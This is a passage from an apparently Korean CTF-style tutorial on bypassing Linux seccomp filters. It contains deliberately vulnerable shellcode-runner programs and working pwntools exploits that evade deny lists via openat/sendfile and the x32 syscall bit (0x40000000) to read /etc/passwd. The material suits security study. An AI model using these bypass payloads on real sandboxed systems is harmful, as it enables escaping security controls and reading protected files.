같은 기능을 하는 다른 시스템 콜을 호출합니다.
Ex) open syscall과 openat syscall
다양한 아키텍처가 존재하고 아키텍처 별로 명령어 세트와 기능, 크기 등이 다르기 때문에 애플리케이션 운영 목적에 따라 알맞은 아키텍처를 선택해 사용합니다. 따라서 커널 코드는 이 모든 것을 고려하여 작성되었습니다. 중요한 것은 아키텍처 별로 시스템 콜 번호가 다른 점과 서로 다른 아키텍처를 호환하기 위한 코드를 이용해 우회를 할 수 있다는 것입니다.
// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
kali@kali ~/dreamhack/BYPASS_SECCOMP seccomp-tools dump ./bypass_syscall
shellcode: aaaaaaaaaaaaaaaa
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0010
0008: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
같은 기능을 하는 시스템 콜이 있는지 확인해야 합니다. open과 같은 역할을 수행하는 시스템 콜로 openat이 존재합니다. 두 시스템 콜은 파일을 열고 파일 디스크립터를 반환한다는 점에서 비슷하지만, openat은 전달된 인자인 dirfd를 참조해 해당 경로에서 파일을 찾습니다.
openat 시스템 콜의 원형
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
해당 시스템 콜은 두번째 인자 pathname이 절대 경로이면 첫번째 인자인 dirfd를 무시합니다. 따라서 해당 시스템 콜의 번호를 알아내고 두 번째 파일 인자에 파일 경로 문자열의 주소를 전달하면 파일 내용을 읽을 수 있습니다.
openat 시스템 콜을 호출할 때는 두 번째 인자에 절대 경로로 읽을 파일명의 주소를 전달하고 나머지는 NULL로 초기화 합니다.
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
open과 비슷한 openat 시스템 콜을 사용했고 파일의 내용을 출력하기 위해서 sendfile 시스템 콜을 사용했습니다.
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
$ python bypass_seccomp.py
[+] Starting local process './bypass_seccomp': pid 27815
[*] Switching to interactive mode
[*] Process './bypass_seccomp' stopped with exit code 0 (pid 27815)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
...
[*] Got EOF while reading in interactive
// Name: secbpf_dlist.c
// Compile: gcc -o secbpf_dlist secbpf_dlist.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
SECCOMP 라이브러리 함수를 사용한 바이너리를 seccomp-tools로 확인해보면 코드에서 정의하지 않은 비교 구문을 확인할 수 있습니다.
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
코드에는 없던 비교 구문이 seccomp-tools를 통해 확인하니 추가되었습니다. 반면에 라이브러리 함수를 사용하지 않은 예제를 확인해보면 비교 구문이 없습니다.
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006
결과를 비교해보면, SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있습니다. 이러한 비교 구문이 왜 추가되고 해당 비교 구문이 없을 때 어떻게 우회하여 공격할 수 있는지 알아보겠습니다.
SECCOMP에서 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 이름으로 정의된 매크로를 사용합니다. 이는 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명입니다. 그러나 두 개의 ABI는 명백히 다른 아키텍처입니다. 리눅스 커널은 이들을 구별하기 위해 시스템 콜 번호에 특정 값을 사용하는데, 이 값이 0x40000000입니다.
시스템 콜과 레지스터를 do_syscall_x64 전달해 호출하고, 이후에 do_syscall_x32를 호출합니다. 이는 x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한번 호출을 시도하는 코드입니다.
__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr)
{
add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
/* Invalid system call, but still a system call. */
regs->ax = __x64_sys_ni_syscall(regs);
}
instrumentation_end();
syscall_exit_to_user_mode(regs);
}
x86-64에서 시스템 콜을 처리하는 함수 입니다.
호출하는 시스템 콜 번호가 시스템 콜 갯수를 초과하는지 비교하고 초과하지 않으면 시스템 콜을 호출합니다.
static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
/*
* Convert negative numbers to very high and thus out of range
* numbers for comparisons.
*/
unsigned int unr = nr;
if (likely(unr < NR_syscalls)) {
unr = array_index_nospec(unr, NR_syscalls);
regs->ax = sys_call_table[unr](regs);
return true;
}
return false;
}
x32 명령어를 호환하는 함수입니다.
호출하는 시스템 콜 번호에서 _X32_SYSCALL_BIT 값을 뺀 시스템 콜 번호를 사용합니다. 해당 매크로 값은 0x40000000로 정의되어 있습니다.
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
/*
* Adjust the starting offset of the table, and convert numbers
* < __X32_SYSCALL_BIT to very high and thus out of range
* numbers for comparisons.
*/
unsigned int xnr = nr - __X32_SYSCALL_BIT;
if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
xnr = array_index_nospec(xnr, X32_NR_syscalls);
regs->ax = x32_sys_call_table[xnr](regs);
return true;
}
return false;
}
// Name: bypass_secbpf.c
// Compile: gcc -o bypass_secbpf bypass_secbpf.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
DENY_SYSCALL(read),
DENY_SYSCALL(write),
DENY_SYSCALL(vfork),
DENY_SYSCALL(fork),
DENY_SYSCALL(clone),
DENY_SYSCALL(execve),
DENY_SYSCALL(execveat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
kali@kali ~/dreamhack/BYPASS_SECCOMP seccomp-tools dump ./bypass_secbpf
shellcode: aaaaaaaaaaaaaaaaaaaaaaaaaa
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0022
0021: 0x06 0x00 0x00 0x00000000 return KILL
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
RWX 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행합니다. sandbox 함수를 보면, DENY 리스트를 기반으로, DENY_SYSCALL 매크로 인자로 전달되는 시스템 콜을 호출할 수 없습니다.
사용할 수 있는 시스템 콜을 먼저 찾아야 합니다. 정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있습니다. 예를 들어, 프로그램에서 openat를 거부하고 execve 시스템 콜을 허용할 때 execve 시스템 콜 호출 자체는 가능하지만 시스템 콜이 정상적으로 수행되지 않습니다. 이는 execve 내에서 openat 시스템 콜을 사용하기 때문입니다. 따라서 시스템 콜의 의존성이 과할 경우 호출할 수 없는 가능성이 매우 큽니다.
open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있습니다. 프로그램에서 해당 시스템 콜의 호출을 거부하지만 do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야 합니다.
시스템 콜을 호출하는 쉘코드를 작성합시다.
익스플로잇 코드는 open, read, write 시스템 콜을 사용해 “/etc/passwd” 파일을 읽는 익스플로잇 코드입니다. 시스템 콜을 호출하는 방식은 비슷하지만 시스템 콜 번호를 삽입할 때 or rax, 0x40000000 명령어가 존재합니다. 이는 do_syscall_x32 함수 즉, x32 모드로 시스템 콜을 호출하기 위함입니다.
익스플로잇 코드를 실행하면 원래는 실행할 수 없던 open, read, write 시스템 콜을 실행해 “/etc/passwd”를 읽은 것을 확인할 수 있습니다.
# Name: bypass_secbpf.py
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_secbpf")
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))
p.interactive()
$ python payload.py
[+] Starting local process './bypass_secbpf': pid 28974
[*] Switching to interactive mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
...
[*] Got EOF while reading in interactive